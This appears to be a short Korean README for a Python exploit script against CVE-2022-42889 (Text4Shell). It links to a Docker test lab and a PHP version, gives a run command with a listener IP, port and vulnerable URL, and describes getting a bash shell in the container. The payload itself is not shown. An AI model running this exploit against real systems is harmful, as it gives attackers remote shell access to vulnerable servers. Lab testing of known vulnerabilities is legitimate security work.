CVE-2022-42889

CVE-2022-42889를 위한 Python 스크립트

이를 로컬에서 테스트하려면 다음 도커 POC를 따르세요: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

PHP 버전은 다음을 참고하세요: https://github.com/ClickCyber/cve-2022-42889

로컬에서 실행 및 익스플로잇 할 경우, 사용해야 하는 IP는 도커 컨테이너 생성 시 생성된 게이트웨이입니다.

도커 컨테이너에서 bash 셸을 획득한 후

chmod로 스크립트를 실행 가능하게 만드십시오

./cve-2022-42889.py 172.17.0.1 9001 'http://localhost/text4shell/attack?search='

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42889

TLDR: request_payload (코드의 변수) 예제를 직접 curl로 전송해도 됩니다.